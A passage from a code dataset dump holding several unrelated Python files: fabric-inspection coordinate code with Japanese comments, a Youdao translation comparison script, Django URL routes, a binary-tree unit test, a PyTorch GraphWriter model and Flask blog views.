ng_camera_num:\r\n logger.debug('[%s:%s] カメラ番号等しい' % (app_id, app_name))\r\n between_y_image_count = 0\r\n else:\r\n between_y_image_count = abs(ng_camera_num - start_camera_num) - 1\r\n\r\n if ng_face == 1:\r\n if start_camera_num == ng_camera_num:\r\n logger.debug('[%s:%s] 検反部1 カメラ番号等しい' % (app_id, app_name))\r\n ng_y_pix = abs(start_regimark_x - ng_x)\r\n ng_y_mm = ng_y_pix * actual_image_width / resize_image_width\r\n if start_regimark_x > ng_x:\r\n plus_direction = 1\r\n else:\r\n plus_direction = -1\r\n elif start_camera_num > ng_camera_num:\r\n logger.debug('[%s:%s] 検反部1 レジマークカメラ番号>NGカメラ番号' % (app_id, app_name))\r\n # 撮像枚数×1撮像画像の幅(オーバーラップ除外分)+(リサイズ画像幅-[開始レジマークx座標]-[オーバーラップ分幅])+[NG画像x座標]\r\n register_image_fraction = (resize_image_width - start_regimark_x - overlap_width_pix) * \\\r\n actual_image_width / resize_image_width\r\n ng_y_mm = between_y_image_count * (actual_image_width - actual_image_overlap) + \\\r\n register_image_fraction + (ng_x * actual_image_width / resize_image_width)\r\n plus_direction = -1\r\n else:\r\n logger.debug('[%s:%s] 検反部1 レジマークカメラ番号<NGカメラ番号' % (app_id, app_name))\r\n # 撮像枚数×1撮像画像の幅(オーバーラップ除外分)+(リサイズ画像幅-[NG画像x座標]-[オーバーラップ分幅])+[開始レジマーク x座標]\r\n register_image_fraction = (resize_image_width - ng_x - overlap_width_pix) * \\\r\n actual_image_width / resize_image_width\r\n ng_y_mm = between_y_image_count * (actual_image_width - actual_image_overlap) + \\\r\n register_image_fraction + (start_regimark_x * actual_image_width / resize_image_width)\r\n plus_direction = 1\r\n\r\n else:\r\n if start_camera_num == ng_camera_num:\r\n logger.debug('[%s:%s] 検反部2 カメラ番号等しい' % (app_id, app_name))\r\n ng_y_pix = abs(start_regimark_x - ng_x)\r\n ng_y_mm = ng_y_pix * actual_image_width / resize_image_width\r\n if start_regimark_x < ng_x:\r\n plus_direction = -1\r\n else:\r\n plus_direction = 1\r\n elif start_camera_num > ng_camera_num:\r\n logger.debug('[%s:%s] 検反部2 レジマークカメラ番号>NGカメラ番号' % (app_id, app_name))\r\n # 撮像枚数×1撮像画像の幅(オーバーラップ除外分)+(リサイズ画像幅-[開始レジマークx座標]-[オーバーラップ分幅])+[NG画像x座標]\r\n register_image_fraction = (resize_image_width - ng_x - overlap_width_pix) * \\\r\n actual_image_width / resize_image_width\r\n ng_y_mm = between_y_image_count * (actual_image_width - actual_image_overlap) + \\\r\n register_image_fraction + (start_regimark_x * actual_image_width / resize_image_width )\r\n plus_direction = 1\r\n else:\r\n logger.debug('[%s:%s] 検反部2 レジマークカメラ番号<NGカメラ番号' % (app_id, app_name))\r\n # 撮像枚数×1撮像画像の幅(オーバーラップ除外分)+(リサイズ画像幅-[NG画像x座標]-[オーバーラップ分幅])+[開始レジマーク x座標]\r\n register_image_fraction = (resize_image_width - start_regimark_x - overlap_width_pix) * \\\r\n actual_image_width / resize_image_width\r\n ng_y_mm = between_y_image_count * (actual_image_width - actual_image_overlap) + \\\r\n register_image_fraction + (ng_x * actual_image_width / resize_image_width )\r\n plus_direction = -1\r\n\r\n # 比率計算\r\n between_length_on_master = ng_x_pix * (stretch_rate_x / 100 ) / regimark_length_ratio\r\n between_width_on_master = master_image_height * ng_y_mm / (stretch_rate_y / 100) / master_width\r\n\r\n # マスタ画像上のNG座標特定\r\n length_on_master = regimark_x + (between_length_on_master * x_plus_direction)\r\n width_on_master = regimark_y + (between_width_on_master * plus_direction)\r\n\r\n if inspection_direction == 'S' and ng_face == 2:\r\n logger.debug('[%s:%s] 検査方向S 検反部2 Y軸反転' % (app_id, app_name))\r\n width_on_master = master_image_height - width_on_master\r\n\r\n elif inspection_direction == 'X' and ng_face == 1:\r\n logger.debug('[%s:%s] 検査方向X 検反部1 Y軸反転' % (app_id, app_name))\r\n width_on_master = master_image_height - width_on_master\r\n\r\n elif inspection_direction == 'Y' and ng_face == 1:\r\n logger.debug('[%s:%s] 検査方向Y 検反部1 X軸反転' % (app_id, app_name))\r\n length_on_master = master_image_width - length_on_master\r\n\r\n elif inspection_direction == 'Y' and ng_face == 2:\r\n logger.debug('[%s:%s] 検査方向Y 検反部2 X,Y軸反転' % (app_id, app_name))\r\n length_on_master = master_image_width - length_on_master\r\n width_on_master = master_image_height - width_on_master\r\n\r\n elif inspection_direction == 'R' and ng_face == 1:\r\n logger.debug('[%s:%s] 検査方向R 検反部1 X,Y軸反転' % (app_id, app_name))\r\n length_on_master = master_image_width - length_on_master\r\n width_on_master = master_image_height - width_on_master\r\n\r\n elif inspection_direction == 'R' and ng_face == 2:\r\n logger.debug('[%s:%s] 検査方向R 検反部2 X軸反転' % (app_id, app_name))\r\n length_on_master = master_image_width - length_on_master\r\n\r\n else:\r\n pass\r\n\r\n result = True\r\n except Exception as error:\r\n # 失敗時は共通例外関数でエラー詳細をログ出力する\r\n error_detail.exception(error, logger, app_id, app_name)\r\n result = False\r\n return result, length_on_master, width_on_master, ng_face, error, func_name\r\n\r\n return result, length_on_master, width_on_master, ng_face, error, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 処理名 :NG行列特定\r\n#\r\n# 処理概要 :1.頂点座標よりNG箇所の行・列を特定する。\r\n#\r\n# 引数 :レジマーク情報\r\n# マスタ画像上のNG座標(X座標)\r\n# マスタ画像上のNG座標(Y座標)\r\n# マスタ情報\r\n# 設定レジマーク間長さ[pix]\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# NG画像行・列情報\r\n# ------------------------------------------------------------------------------------\r\ndef specific_ng_line_colum(line_info, length_on_master, width_on_master, mst_data, conf_regimark_between_length_pix,\r\n inspection_direction, last_flag, logger):\r\n result = False\r\n judge_result = None\r\n top_points = []\r\n last_top_points = []\r\n next_top_points = []\r\n error = None\r\n func_name = sys._getframe().f_code.co_name\r\n try:\r\n # マスタ情報から列数を取得する。※カラム数が多いためマスタ情報辞書を利用して情報を取得する。\r\n colum_count = mst_data[master_data_dict['column_cnt']]\r\n ng_point = (length_on_master, width_on_master)\r\n\r\n # 列数に応じたN行目の頂点座標抽出\r\n for i in range(colum_count):\r\n top_point = mst_data[master_data_dict['top_point_a'] + i]\r\n sp_top_points = re.split('\\),', (re.sub('\\(|\\)$| ', '', top_point)))\r\n top_points.append([[int(re.split(',', x)[0]), int(re.split(',', x)[1])] for x in sp_top_points])\r\n last_top_points.append(\r\n [[round(int(re.split(',', x)[0]) - conf_regimark_between_length_pix), int(re.split(',', x)[1])] for x in\r\n sp_top_points])\r\n next_top_points.append(\r\n [[round(int(re.split(',', x)[0]) + conf_regimark_between_length_pix), int(re.split(',', x)[1])] for x in\r\n sp_top_points])\r\n\r\n if last_flag == 0:\r\n line_num = int(line_info[0][0])\r\n else:\r\n if len(line_info) == 1:\r\n line_num = int(line_info[0][0])\r\n else:\r\n line_num = int(line_info[1][0])\r\n # N行目の頂点座標内外判定\r\n # 内側と判定された時点で結果を返却する\r\n for j in range(len(top_points)):\r\n array_top_points = np.array(top_points[j])\r\n judge_line = cv2.pointPolygonTest(array_top_points, ng_point, False)\r\n if judge_line == 1:\r\n result = True\r\n judge_result = [line_num, line_name_dict[j + 1]]\r\n return result, judge_result, length_on_master, width_on_master, error, func_name\r\n else:\r\n pass\r\n\r\n # N-1行目の頂点座標内外判定\r\n # 内側と判定された時点で結果を返却する\r\n for k in range(len(last_top_points)):\r\n array_last_top_points = np.array(last_top_points[k])\r\n judge_line = cv2.pointPolygonTest(array_last_top_points, ng_point, False)\r\n if judge_line == 1:\r\n result = True\r\n if inspection_direction == 'S' or inspection_direction == 'X':\r\n logger.debug('[%s:%s] 検査方向S or X' % (app_id, app_name))\r\n line = line_num - 1\r\n else:\r\n logger.debug('[%s:%s] 検査方向Y or R' % (app_id, app_name))\r\n line = line_num - 1\r\n\r\n judge_result = [line, line_name_dict[k + 1]]\r\n length_on_master = length_on_master + conf_regimark_between_length_pix\r\n return result, judge_result, length_on_master, width_on_master, error, func_name\r\n else:\r\n pass\r\n\r\n # N+1行目の頂点座標内外判定\r\n # 内側と判定された時点で結果を返却する\r\n for l in range(len(next_top_points)):\r\n array_next_top_points = np.array(next_top_points[l])\r\n judge_line = cv2.pointPolygonTest(array_next_top_points, ng_point, False)\r\n if judge_line == 1:\r\n result = True\r\n if inspection_direction == 'S' or inspection_direction == 'X':\r\n logger.debug('[%s:%s] 検査方向S or X' % (app_id, app_name))\r\n line = line_num + 1\r\n else:\r\n logger.debug('[%s:%s] 検査方向Y or R' % (app_id, app_name))\r\n line = line_num + 1\r\n\r\n judge_result = [line, line_name_dict[l + 1]]\r\n length_on_master = length_on_master - conf_regimark_between_length_pix\r\n return result, judge_result, length_on_master, width_on_master, error, func_name\r\n else:\r\n pass\r\n\r\n result = True\r\n logger.debug('[%s:%s] 頂点座標外のNG' % (app_id, app_name))\r\n\r\n except Exception as error:\r\n # 失敗時は共通例外関数でエラー詳細をログ出力する\r\n error_detail.exception(error, logger, app_id, app_name)\r\n result = False\r\n return result, judge_result, length_on_master, width_on_master, error, func_name\r\n\r\n return result, judge_result, length_on_master, width_on_master, error, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 処理名 :NG行列特定(頂点座標外)\r\n#\r\n# 処理概要 :1.行閾値、列閾値情報よりNG箇所の行・列を特定する。\r\n#\r\n# 引数 :レジマーク情報\r\n# マスタ画像上のNG座標(X座標)\r\n# マスタ画像上のNG座標(Y座標)\r\n# マスタ情報\r\n# 設定レジマーク間長さ[pix]\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# NG画像行・列情報\r\n# ------------------------------------------------------------------------------------\r\ndef specific_ng_line_colum_border(line_info, length_on_master, width_on_master, mst_data,\r\n conf_regimark_between_length_pix, inspection_direction, last_flag, logger):\r\n result = False\r\n judge_result = None\r\n colum_result = None\r\n line_result = None\r\n error = None\r\n func_name = sys._getframe().f_code.co_name\r\n try:\r\n # マスタ情報から列数を取得する。※カラム数が多いためマスタ情報辞書を利用して情報を取得する。\r\n colum_count = mst_data[master_data_dict['column_cnt']]\r\n\r\n # 列数分隙間判定を行う\r\n for i in range(colum_count):\r\n # 列特定を行う\r\n # 1列目は列閾値01未満を確認\r\n if i == 0:\r\n colum_threshold = int(mst_data[master_data_dict['column_threshold_01'] + i])\r\n if width_on_master <= colum_threshold:\r\n colum_result = line_name_dict[i + 1]\r\n break\r\n else:\r\n pass\r\n # 2列目から(列数-1)列目は列閾値01から列閾値0(N-2)のそれぞれの間を確認\r\n elif i == colum_count - 1:\r\n colum_threshold = int(mst_data[master_data_dict['column_threshold_01'] + (i - 1)])\r\n if colum_threshold < width_on_master:\r\n colum_result = line_name_dict[i + 1]\r\n break\r\n else:\r\n pass\r\n # 上記以外(最終列)は列閾値0(N-1)以上を確認\r\n else:\r\n min_cloum_threshold = int(mst_data[master_data_dict['column_threshold_01'] + (i - 1)])\r\n max_cloum_threshold = int(mst_data[master_data_dict['column_threshold_01'] + i])\r\n if min_cloum_threshold < width_on_master <= max_cloum_threshold:\r\n colum_result = line_name_dict[i + 1]\r\n break\r\n\r\n # 行閾値を取得\r\n find_str = colum_result.lower()\r\n find_str_1 = 'line_threshold_' + find_str + '1'\r\n find_str_2 = 'line_threshold_' + find_str + '2'\r\n min_line_threshold = int(mst_data[master_data_dict[find_str_1]])\r\n max_line_threshold = int(mst_data[master_data_dict[find_str_2]])\r\n\r\n\r\n if last_flag == 0:\r\n line_num = int(line_info[0][0])\r\n else:\r\n if len(line_info) == 1:\r\n line_num = int(line_info[0][0])\r\n else:\r\n line_num = int(line_info[1][0])\r\n # 特定した列の行閾値(最小)以下の場合、N-1行とN行の行特定を行う\r\n if length_on_master <= min_line_threshold:\r\n # N-1行の行閾値(最大)とN行の行閾値(最小)の間の場合、各閾値からの絶対値で該当行を特定する\r\n if (max_line_threshold - conf_regimark_between_length_pix) < length_on_master <= min_line_threshold:\r\n abs_line = abs(length_on_master - min_line_threshold)\r\n abs_last_line = abs(length_on_master - (max_line_threshold - conf_regimark_between_length_pix))\r\n if abs_line <= abs_last_line:\r\n line_result = line_num\r\n else:\r\n if inspection_direction == 'S' or inspection_direction == 'X':\r\n line_result = line_num - 1\r\n else:\r\n line_result = line_num - 1\r\n\r\n length_on_master = length_on_master + conf_regimark_between_length_pix\r\n else:\r\n if inspection_direction == 'S' or inspection_direction == 'X':\r\n line_result = line_num - 1\r\n else:\r\n line_result = line_num - 1\r\n\r\n length_on_master = length_on_master + conf_regimark_between_length_pix\r\n # 特定した列の行閾値(最小)と行閾値(最大)の間の場合、N行と特定する\r\n elif min_line_threshold < length_on_master <= max_line_threshold:\r\n line_result = line_num\r\n\r\n # 特定した列の行閾値(最大)以上の場合、N��とN+1行の行特定を行う\r\n elif max_line_threshold <= length_on_master:\r\n # N行の行閾値(最大)とN+1行の行閾値(最小)の間の場合、各閾値からの絶対値で該当行を特定する\r\n if max_line_threshold < length_on_master <= (min_line_threshold + conf_regimark_between_length_pix):\r\n abs_line = abs(length_on_master - max_line_threshold)\r\n abs_next_line = abs(length_on_master - (min_line_threshold + conf_regimark_between_length_pix))\r\n if abs_next_line <= abs_line:\r\n line_result = line_num\r\n else:\r\n if inspection_direction == 'S' or inspection_direction == 'X':\r\n line_result = line_num + 1\r\n else:\r\n line_result = line_num + 1\r\n\r\n length_on_master = length_on_master - conf_regimark_between_length_pix\r\n else:\r\n if inspection_direction == 'S' or inspection_direction == 'X':\r\n line_result = line_num + 1\r\n else:\r\n line_result = line_num + 1\r\n\r\n length_on_master = length_on_master - conf_regimark_between_length_pix\r\n\r\n judge_result = [line_result, colum_result]\r\n result = True\r\n\r\n except Exception as error:\r\n # 失敗時は共通例外関数でエラー詳細をログ出力する\r\n error_detail.exception(error, logger, app_id, app_name)\r\n result = False\r\n return result, judge_result, length_on_master, width_on_master, error, func_name\r\n\r\n return result, judge_result, length_on_master, width_on_master, error, func_name\r\n\r\n\r\n# ------------------------------------------------------------------------------------\r\n# 処理名 :基準点からのNG距離算出\r\n#\r\n# 処理概要 :1.基準点からNG箇所までの距離を算出する。\r\n#\r\n# 引数 :レジマーク情報\r\n# マスタ画像上のNG座標(X座標)\r\n# マスタ画像上のNG座標(Y座標)\r\n# NG画像行・列情報\r\n# マスタ情報\r\n# マスタ画像の幅(X方向長さ)\r\n# マスタ画像の高さ(Y方向長さ)\r\n#\r\n# 戻り値 :処理結果(True:成功、False:失敗)\r\n# 基準点からのNG距離情報\r\n# ------------------------------------------------------------------------------------\r\ndef calc_distance_from_basepoint(length_on_master, width_on_master, judge_result, mst_data, master_image_width,\r\n master_image_height, logger):\r\n result = False\r\n ng_dist = None\r\n error = None\r\n func_name = sys._getframe().f_code.co_name\r\n\r\n try:\r\n line_name = judge_result[1]\r\n line_num = str(line_num_dict[line_name])\r\n\r\n # マスタ情報から必要な情報を取得する。※カラム数が多いためマスタ情報辞書を利用して情報を取得する。\r\n length = master_data_dict['length']\r\n width = master_data_dict['width']\r\n find_str_basepoint_x = 'base_point_' + line_num + '_x'\r\n find_str_basepoint_y = 'base_point_' + line_num + '_y'\r\n find_str_plusdirect_x = 'point_' + line_num + '_plus_direction_x'\r\n find_str_plusdirect_y = 'point_' + line_num + '_plus_direction_y'\r\n\r\n length = int(mst_data[length])\r\n width = int(mst_data[width])\r\n base_point_x = int(mst_data[master_data_dict[find_str_basepoint_x]])\r\n base_point_y = int(mst_data[master_data_dict[find_str_basepoint_y]])\r\n plus_direction_x = mst_data[master_data_dict[find_str_plusdirect_x]]\r\n plus_direction_y = mst_data[master_data_dict[find_str_plusdirect_y]]\r\n\r\n logger.debug('[%s:%s] 基準点 [ %s, %s ]' % (app_id, app_name, base_point_x, base_point_y))\r\n logger.debug('[%s:%s] プラス方向 [ %s, %s ]' % (app_id, app_name, plus_direction_x, plus_direction_y))\r\n # 基準点からの距離[pix]を算出する\r\n x_point_from_basepoint = length_on_master - base_point_x\r\n y_point_from_basepoint = base_point_y - width_on_master\r\n x_dist_ratio = length / master_image_width\r\n y_dist_ratio = width / master_image_height\r\n\r\n # マスタ情報のプラス方向情報から符号反転有無を確認し、基準点からの距離[mm]を算出する。\r\n if x_point_from_basepoint >= 0:\r\n if plus_direction_x == 0:\r\n x_dist_mm = (x_point_from_basepoint * -1) * x_dist_ratio\r\n else:\r\n x_dist_mm = x_point_from_basepoint * x_dist_ratio\r\n else:\r\n if plus_direction_x == 0:\r\n x_dist_mm = (x_point_from_basepoint * -1) * x_dist_ratio\r\n else:\r\n x_dist_mm = x_point_from_basepoint * x_dist_ratio\r\n\r\n if y_point_from_basepoint >= 0:\r\n if plus_direction_y == 0:\r\n y_dist_mm = y_point_from_basepoint * y_dist_ratio\r\n else:\r\n y_dist_mm = (y_point_from_basepoint * -1) * y_dist_ratio\r\n else:\r\n if plus_direction_y == 0:\r\n y_dist_mm = y_point_from_basepoint * y_dist_ratio\r\n else:\r\n y_dist_mm = (y_point_from_basepoint * -1) * y_dist_ratio\r\n\r\n result = True\r\n ng_dist = [round(x_dist_mm / 10), round(y_dist_mm / 10)]\r\n\r\n except Exception as error:\r\n # 失敗時は共通例外関数でエラー詳細をログ出力する\r\n error_detail.exception(error, logger, app_id, app_name)\r\n result = False\r\n return result, ng_dist, error, func_name\r\n\r\n return result, ng_dist, error, func_name\r\n","sub_path":"CooperationBase/register_ng_info_util.py","file_name":"register_ng_info_util.py","file_ext":"py","file_size_in_byte":51285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"20238492","text":"import json\r\nimport os\r\nimport pandas as pd\r\nimport time\r\nimport hashlib\r\nimport argparse\r\nfrom urllib.parse import urlparse, parse_qs, urlencode\r\nimport requests\r\n\r\ndef get_trans(lanfrom,lanto,json_path,result_path):\r\n '''\r\n case:对应的图片 context:ocr识别结果,组段为单位,onlinecontext:线上过滤模型的结果 onlinetrans:线上翻译结果 textcontext:测试模型过滤结果 testtrans:测试模型翻译结果\r\n 请求单位为OCR识别组段\r\n 目前线上的过滤模型会对整句的某些字符进行过滤,返回的过滤结果是列表,所以对结果进行拼接\r\n 测试的过滤模型已经不需要拼接,过滤结果为:过滤/不过滤\r\n '''\r\n df = pd.DataFrame(columns=['case','context','onlinecontext','onlinetrans','testcontext','testtrans'])\r\n index = 0\r\n for j in os.listdir(json_path):\r\n if j.endswith('json'):\r\n print(json_path,j)\r\n with open(os.path.join(json_path,j),'r') as fp:\r\n data = json.load(fp)\r\n for d in data['resRegions']:\r\n df.loc[index,'context'] = d['context']\r\n df.loc[index,'case'] = j\r\n index += 1\r\n fp.close()\r\n \r\n for con in zip(df.context,df.index):\r\n src = con[0]\r\n online_host = \" http://dict.youdao.com/dictserver/translate\"\r\n test_host = 'http://dict-test.youdao.com/dictserver/translate'\r\n data = {}\r\n data['i'] = src\r\n data['from'] = lanfrom\r\n data['to'] = lanto\r\n data['product'] = 'bilingual_contrast'\r\n secrete_key = \"feature/language_contrast_pl\"\r\n data['salt'] = 'test123'\r\n sign = data['product']+data['i']+data['salt']+secrete_key\r\n m1 = hashlib.md5(sign.encode('utf8'))\r\n data['sign'] = 'test123'\r\n\r\n test_res = requests.post(\r\n url = test_host,\r\n data = data\r\n )\r\n online_res = requests.post(\r\n url = online_host,\r\n data = data\r\n )\r\n try:\r\n test_res.encoding= 'utf-8'\r\n test_result = test_res.json()\r\n #解析测试数据\r\n for i in test_result['translateResult']:\r\n text = ''\r\n trans = ''\r\n for s in i:\r\n text+=s['src']\r\n trans+=s['tgt']\r\n print(text,'\\n','______________________','\\n',trans)\r\n df.loc[con[1],'testtrans'] =trans\r\n df.loc[con[1],'testcontext'] =text\r\n #解析线上数据 \r\n online_result = online_res.json()\r\n for j in online_result['translateResult']:\r\n otext = ''\r\n otrans = ''\r\n for s in j:\r\n otext+=s['src']\r\n otrans+=s['tgt']\r\n df.loc[con[1],'onlinetrans'] =otrans\r\n df.loc[con[1],'onlinecontext'] =otext\r\n if test_result['code'] != \"0\":\r\n print(\"errorCode is %s\" % test_result['code'])\r\n raise\r\n if online_result['code'] != \"0\":\r\n print(\"errorCode is %s\" % online_result['code'])\r\n raise\r\n except:\r\n pass\r\n df.to_excel(os.path.join(result_path,'%s.xlsx'%(str(lanfrom)+'_'+str(lanto))))\r\n \r\ndef run(inputdir,resultdir):\r\n #互译的语言代码,需要增加或减少语言,在这里修改即可\r\n tar_lan = ['en','zh-CHS','ko','ja']\r\n for d in os.listdir(inputdir):\r\n json_path = os.path.join(inputdir,d)\r\n lanfrom = d.split('_')[0]\r\n lanto = d.split('_')[1]\r\n if lanfrom in tar_lan and lanto in tar_lan:\r\n print(lanfrom,lanto)\r\n get_trans(lanfrom,lanto,json_path,result_path=resultdir)\r\n \r\n \r\nif __name__ == \"__main__\":\r\n curpath = os.getcwd()\r\n parser = argparse.ArgumentParser(description='Command line client for get stream result')\r\n parser.add_argument('-i', '--inputdir', default=os.path.join(curpath, \"data/test_one\"), dest=\"inputdir\", help=\"OCR识别结果目录\")\r\n parser.add_argument('-r', '--resulttdir', default=os.path.join(curpath, \"result/test_one\"), dest=\"resultdir\", help=\"结果根目录\")\r\n args = parser.parse_args()\r\n \r\n run(args.inputdir,args.resultdir)\r\n","sub_path":"get_filter.py","file_name":"get_filter.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"53614194","text":"from django.conf.urls import url, include\nfrom django.contrib import admin\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^', include('sovet.urls', namespace='sovet')),\n url(r'^profiles/', include('profiles.urls', namespace='profiles')),\n url(r'^register/', include('accounts.urls', namespace='accounts')),\n\n]\n","sub_path":"advice/advice/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"327989746","text":"import torch\nfrom modules import MSA, BiLSTM, GraphTrans \nfrom utlis import *\nfrom torch import nn\nimport time\n \nclass GraphWriter(nn.Module):\n def __init__(self, args):\n super(GraphWriter, self).__init__()\n self.args = args\n if args.share_vocab:\n tmp_emb = nn.Embedding(len(args.text_vocab), args.nhid)\n if args.title:\n self.title_emb = tmp_emb if args.share_vocab else nn.Embedding(len(args.text_vocab), args.nhid)\n self.title_enc = BiLSTM(args, enc_type='title')\n self.title_attn = MSA(args)\n self.ent_emb = tmp_emb if args.share_vocab else nn.Embedding(len(args.text_vocab), args.nhid)\n self.tar_emb = tmp_emb if args.share_vocab else nn.Embedding(len(args.text_vocab), args.nhid)\n self.rel_emb = nn.Embedding(len(args.rel_vocab), args.nhid)\n self.decode_lstm = nn.LSTMCell(args.dec_ninp, args.nhid)\n self.ent_enc = BiLSTM(args, enc_type='entity')\n self.graph_enc = GraphTrans(args)\n self.ent_attn = MSA(args)\n self.copy_attn = MSA(args, mode='copy')\n self.copy_fc = nn.Linear(args.dec_ninp, 1)\n self.pred_v_fc = nn.Linear(args.dec_ninp, len(args.text_vocab))\n\n def enc_forward(self, batch, ent_mask, ent_text_mask, ent_len, rel_mask, title_mask):\n title_enc = None\n if self.args.title:\n title_enc = self.title_enc(self.title_emb(batch['title']), title_mask)\n ent_enc = self.ent_enc(self.ent_emb(batch['ent_text']), ent_text_mask, ent_len = batch['ent_len'])\n rel_emb = self.rel_emb(batch['rel'])\n g_ent, g_root = self.graph_enc(ent_enc, ent_mask, ent_len, rel_emb, rel_mask, batch['graph'])\n return g_ent, g_root, title_enc, ent_enc\n\n def forward(self, batch, beam_size=None):\n ent_mask = len2mask(batch['ent_len'], self.args.device)\n ent_text_mask = batch['ent_text']==0\n rel_mask = batch['rel']==0 # 0 means the \n title_mask = batch['title']==0\n g_ent, g_root, title_enc, ent_enc = self.enc_forward(batch, ent_mask, ent_text_mask, batch['ent_len'], rel_mask, title_mask)\n\n _h, _c = g_root, g_root#.clone().detach()\n ctx = torch.zeros_like(g_root)\n if self.args.title:\n attn = self.title_attn(_h, title_enc, mask=title_mask)\n ctx = torch.cat([ctx, attn], 1)\n if beam_size is None:\n outs = []\n tar_inp = self.tar_emb(batch['text'].transpose(0,1))\n for t, xt in enumerate(tar_inp):\n _xt = torch.cat([ctx, xt], 1)\n _h, _c = self.decode_lstm(_xt, (_h, _c))\n ctx = self.ent_attn(_h, g_ent, mask=ent_mask)\n if self.args.title:\n attn = self.title_attn(_h, title_enc, mask=title_mask)\n ctx = torch.cat([ctx, attn], 1)\n outs.append(torch.cat([_h, ctx], 1)) \n outs = torch.stack(outs, 1)\n copy_gate = torch.sigmoid(self.copy_fc(outs))\n EPSI = 1e-6\n pred_v = torch.log(copy_gate+EPSI) + torch.log_softmax(self.pred_v_fc(outs), -1)\n pred_c = torch.log((1. - copy_gate)+EPSI) + torch.log_softmax(self.copy_attn(outs, ent_enc, mask=ent_mask), -1)\n pred = torch.cat([pred_v, pred_c], -1)\n return pred\n else:\n # force greedy\n device = g_ent.device\n B = g_ent.shape[0]\n ent_type = batch['ent_type'].view(B, -1)\n beam_seq = (torch.ones(B,).long().to(device) * self.args.text_vocab('')).unsqueeze(1)\n for t in range(self.args.beam_max_len):\n _inp = replace_ent(beam_seq[:,-1], ent_type, len(self.args.text_vocab))\n xt = self.tar_emb(_inp)\n _xt = torch.cat([ctx, xt], 1)\n _h, _c = self.decode_lstm(_xt, (_h, _c))\n ctx = self.ent_attn(_h, g_ent, mask=ent_mask)\n if self.args.title:\n attn = self.title_attn(_h, title_enc, mask=title_mask)\n ctx = torch.cat([ctx, attn], 1)\n _y = torch.cat([_h, ctx], 1)\n copy_gate = torch.sigmoid(self.copy_fc(_y))\n pred_v = torch.log(copy_gate) + torch.log_softmax(self.pred_v_fc(_y), -1)\n pred_c = torch.log((1. - copy_gate)) + torch.log_softmax(self.copy_attn(_y.unsqueeze(1), ent_enc, mask=ent_mask).squeeze(1), -1)\n pred = torch.cat([pred_v, pred_c], -1).view(B,-1)\n for ban_item in ['', '', '']:\n pred[:, self.args.text_vocab(ban_item)] = -1e8\n _, word = pred.max(-1)\n beam_seq = torch.cat([beam_seq, word.unsqueeze(1)], 1)\n return beam_seq, None\n \n","sub_path":"graphwriter.py","file_name":"graphwriter.py","file_ext":"py","file_size_in_byte":4772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"540283210","text":"from problems.average_of_levels_in_binary_tree import average_of_levels, TreeNode\nfrom test_utils import compare_lists\n\n\ndef test_average_of_levels_in_binary_tree_1():\n root = TreeNode(3)\n root.left = TreeNode(9)\n root.right = TreeNode(20)\n root.right.left = TreeNode(15)\n root.right.right = TreeNode(7)\n expected = [3.0, 14.5, 11.0]\n actual = average_of_levels(root)\n assert compare_lists(expected, actual) is True\n\n\ndef test_average_of_levels_in_binary_tree_2():\n root = TreeNode(3)\n root.left = TreeNode(9)\n root.left.left = TreeNode(15)\n root.left.right = TreeNode(7)\n root.right = TreeNode(20)\n expected = [3.0, 14.5, 11.0]\n actual = average_of_levels(root)\n assert compare_lists(expected, actual) is True\n","sub_path":"tests/test_average_of_levels_in_binary_tree.py","file_name":"test_average_of_levels_in_binary_tree.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"105658650","text":"from flask import render_template,request,redirect,url_for,abort\nfrom . import main\nfrom ..requests import get_quotes\nfrom ..models import Comment,User,Post\nfrom .forms import CommentForm,UpdateProfile,PostForm\nfrom flask_login import login_required,current_user\nimport datetime\nfrom .. import db,photos\nimport requests\n\n\n# Views\n@main.route('/')\ndef index():\n posts = Post.query.all()\n \n\n title = 'E-BLOG | Home'\n quotes = requests.get(\"http://quotes.stormconsultancy.co.uk/random.json\").json()\n # random_quotes = get_quotes\n return render_template('index.html', title=title,posts=posts, quotes = quotes)\n\n@main.route('/new_post/', methods = ['GET','POST'])\n@login_required\ndef new_post():\n\n post_form = PostForm()\n if post_form.validate_on_submit():\n post_title = post_form.title.data\n post_content = post_form.blogpost.data\n\n new_post = Post(post_title = post_title,post_content = post_content, user_id = current_user.id)\n new_post.save_post()\n return redirect(url_for('main.index'))\n\n return render_template('new_post.html',post_form=post_form)\n\n@main.route('/post/', methods = ['GET','POST'])\ndef single_post(id):\n post = Post.query.filter_by(id=id).first()\n comments = Comment.query.filter_by(post_id=id).all()\n form = CommentForm()\n\n if form.validate_on_submit():\n comment = form.comment.data\n form.comment.data =''\n\n new_comment = Comment(comment=comment,post_id=post.id,user_id=current_user.id,comment_by=current_user.username)\n\n db.session.add(new_comment)\n db.session.commit()\n\n return redirect(url_for('main.single_post', id = post.id))\n\n\n return render_template('single_post.html', post=post, comments=comments, form=form)\n\n@main.route('/user/')\ndef profile(uname):\n user = User.query.filter_by(username = uname).first()\n\n if user is None:\n abort(404)\n\n return render_template(\"profile/profile.html\", user = user)\n\n\n@main.route('/user//update',methods = ['GET','POST'])\n@login_required\ndef update_profile(uname):\n user = User.query.filter_by(username = uname).first()\n if user is None:\n abort(404)\n\n form = UpdateProfile()\n\n if form.validate_on_submit():\n user.bio = form.bio.data\n\n db.session.add(user)\n db.session.commit()\n\n return redirect(url_for('.profile',uname=user.username))\n\n return render_template('profile/update.html',form =form)\n\n\n@main.route('/user//update/pic',methods= ['POST'])\n@login_required\ndef update_pic(uname):\n user = User.query.filter_by(username = uname).first()\n if 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n path = f'photos/{filename}'\n user.profile_pic_path = path\n db.session.commit()\n return 